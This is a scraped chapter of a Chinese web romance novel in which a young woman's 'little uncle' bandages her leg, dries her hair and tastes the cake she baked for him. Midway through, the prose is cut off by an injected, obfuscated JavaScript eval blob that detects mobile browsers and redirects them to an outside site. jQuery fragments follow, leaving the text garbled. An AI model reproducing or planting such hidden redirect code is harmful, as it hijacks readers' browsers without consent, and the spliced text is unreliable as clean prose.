7. 第 7 章

作品:《绯色禁区[追妻]

    再回过神来时,宴西叙已经牵过她的手,带着她往床边走:“好了祖宗,有什么事待会儿再说,先让我给你包扎伤口,成吗?”


    他让她坐在床边,拉了书桌椅过来,坐在她的对面。


    明绯从小到大都特别容易受伤,尽管他已经把注意力尽可能地分给她了,可稍不留神,她就能弄出一道伤口,可怜兮兮地来找他。


    处理的次数多了,他对为她上药和包扎伤口这种事,也越来越得心应手。


    握过她的脚踝,他将她受伤的小腿枕在他的腿上,拿出碘伏和棉签,低头小心地上药。


    碘伏不含酒精,刺激不大,照理接触伤口不会太疼,但明绯向来娇气,接触到伤口时忍不住轻哼出声,试图抽回小腿。


    宴西叙握住她的脚踝,不让她乱动。


    “疼?”他耐心地哄她:“乖,忍忍。”


    上完药后,他用纱布为她包扎,结束后照例帮她打了一个漂亮的蝴蝶结:“喜欢么?”


    明绯不置可否,冷着脸就想要抽回脚。


    脚腕却再次被他握住,明明他只是松松地圈扼着,她却一点儿也动不了了。


    明绯脑道:“干什么?”


    “你说我干什么?”宴西叙身体后仰,懒洋洋地问:“小叔叔帮你包扎好了伤口,也不知道谢人?”


    “又不是我让你帮我包扎的……”明绯的语气算不上好。


    明明是他非要进来。


    宴西叙扯了唇角,勾起一个意味不明的笑:“行啊,成年了,翅膀硬了,越来越不听话了?”


    他笑骂了一句:“小白眼狼。”


    “我为什么要听话?”明绯抬头直直地迎上他的视线:“小叔叔也一点儿都不听话,不是吗?”


    宴西叙一愣。


    趁着他走神的间隙,她立刻收回了脚,临了还不忘踹他一脚出泄愤。


    宴西叙闷哼一声,腹部被小姑娘踹了一脚,力气还不算小,他也不恼,只要笑不笑地问:“就这么谢我啊。”


    “啧,还真是小白眼狼。”


    明绯拧眉,看不惯他:“我不是!”


    “行,你不是,”宴西叙掀起眼皮,懒散地道:“今天你受伤了,我不跟你计较,等你伤好了,看我怎么收拾你。”


    原本不过随意放句狠话,明绯却嗤了声,不以为意地道:“你能怎么收拾我?”


    宴西叙皱眉:“什么?”


    “我说,”她忽然靠近,近乎挑衅地道:“你不能收拾我,小叔叔,难道你会打我吗?我要是不听话,你拿我一点办法都没有。”


    宴西叙笑:“你知道你在说什么吗?”


    “知道啊,我有说错吗?”明绯冷冷道:“你能把我怎么样?你能收拾我吗?”


    宴西叙挑眉,起身走到床边,双手撑在她的两侧,低笑了声:“你想我怎么收拾你?”收拾人的方法他有的是,不过能用在她身上的确实不多,归根到底,还是太宠着她了,以至于到了真想教训她的时候,发现怎么样都舍不得。


    这个姿势让两人挨得极近。


    近到可以清晰地感受到他身上的气息。


    裹挟着雪松的清冽,尾调是慵懒的沉木香。


    明绯眼睫轻颤,侧过脸道:“算了……我没什么可跟你说的。”


    “可我有话要跟你说,”手指掐过她的下颌,将她的脸扳了过来:“今天……吓到了吧?是小叔叔不好,不过不是你想的那样,我晚点跟你说,先去洗个澡,把湿衣服换了,注意伤口别碰到水,换完我再进来。”


    “你想说什么?”她的眼眸浮上一层水雾,黑白分明:“我现在就要听。”


    宴西叙轻笑,习惯性地掐了一把她的脸颊,明绯五官过分精致,其实早没了小孩相,只是脸上婴儿肥未褪,连气鼓鼓的样子都显得娇憨十足,毫无威慑力,他就喜欢逗她:“急什么,我又不会跑。”


    “走了,换好了叫我。”


    明绯垂下眼睫,没吭声。


    宴西叙挑眉,掐着她的下颌往上抬:“没听见?”


    被迫与他对视,明绯才不情不愿地“嗯”了一声。


    “听见了不知道应声?”宴西叙要笑不笑:“小叔叔有没有教过你,好女孩要懂礼貌?”


    明绯瞪了他一眼,故意大声地道:“我听见了听见了!”


    宴西叙唇角浮着点笑,这才不紧不慢地走开了。


    ——


    半个小时后,宴西叙敲门进去了,手里提着刚才那个蛋糕。


    明绯换了浴袍,正坐在床边擦拭湿发。


    她是长卷发,发量又多,每次吹头发都要很久,她是个没什么耐心的人,通常吹个半干就出来了,之后再用干毛巾随意擦拭一下。


    宴西叙进来后放下蛋糕,动作自然地从她手中接过干毛巾为她擦拭,之后又用吹风机帮她彻底吹干头发。


    修长冷白的手指,挑起一缕乌黑的发,慢条斯理地替她轻轻吹拂。


    动作熟练温柔到近乎吊诡。


    ——宴大少爷天生不是伺候人的料,却又切切实实把她养得很细致。


    吹风机温柔的风声在耳边鼓噪,明绯垂着眼睫,白噪音放空了烦乱的思绪,让她能够拥有片刻的宁静。


    吹完头发后,宴西叙又检查了一下伤口,伤口没进


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660770|188424||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    水,不过边缘的纱布有些湿了,他索性拆了重新包扎。


    做完这一切后,他坐在她对面,慢条斯理地拆起了蛋糕包装。


    刚好这时,明绯肚子很合时宜地响了一声——下午五点吃的晚饭,因为心不在焉,也只随意吃了两口,这么久过去了,很难不饿。


    宴西叙勾唇:“饿了?”


    他将切好的一小块蛋糕装在纸碟上递了过去:“吃块蛋糕?”


    明绯别过头,冷冷道:“不吃。”


    宴西叙偏头笑:“自己亲手做的也不吃?”


    明绯下意识否认,“谁跟你说这是我亲手做的了?”亲手为宴西叙做蛋糕这种事,在经历过今晚撞见的那一幕之后,实在显得太过愚蠢,她本能地不想承认。


    可下一秒,宴西叙的手掌悬停在她眼前,青色血管沿着冷白腕骨蜿蜒而下,指节倏地松开,从掌心半滑出一张卡片:“那这张卡片上的字,是谁写的?啧,很眼熟啊。”


    明绯气恼,伸手就要去抢。


    宴西叙却仿佛早有预判,换了一只手,轻松让明绯扑了个空:“小孩耍赖了?”


    明绯抢不过他,索性放弃,看了一眼蛋糕道:“我做的又怎么样?早就摔烂了,给巧克力,巧克力都不会吃。”巧克力是明绯养的一条博美,也是宴西叙送她的十六岁生日礼物。


    宴西叙挑眉:“你长这么大,第一次亲手为我做的蛋糕,我还能便宜了巧克力?”


    说完低头尝了一口纸碟上的蛋糕:“……一尝就知道是我们绯绯做的,榛子酱和奶油都跟不要钱似得。不过,”他忽然收了散漫玩味的姿态,认真地看着她:“小叔叔很喜欢,谢谢绯绯。”


    明绯眼睫轻轻颤动,搭在膝上的手指蜷缩了一下。


    宴西叙又切了一小块蛋糕递给她:“自己辛苦做的蛋糕,真的不尝尝?”


    明绯抿了抿唇,抬眼再度看向那个蛋糕——确确实实是摔烂了,奶油被挤到一起,榛子酱和蛋糕胚混成一团,几乎是一塌糊涂,让人倒尽胃口。


    小心翼翼护了一路的蛋糕,到底还是摔烂了。


    是什么时候烂的呢?撞见他和姜璃亲密的时候?还是更早,在雨地里摔的那一跤,其实已经烂了,只不过她一直没有发觉?


    这两个画面在脑海中重叠交织,讽刺而割裂。


    她忽然觉得可笑。


    就好像……她是天底下最大的傻瓜。


    情绪忽然变得失控,她一把打掉了他递过来的蛋糕:“都说了已经烂掉了!”


    啪叽一声,一个蛋糕中最完好的那部分也同样摔烂在地上。


    宴西叙怔了一瞬。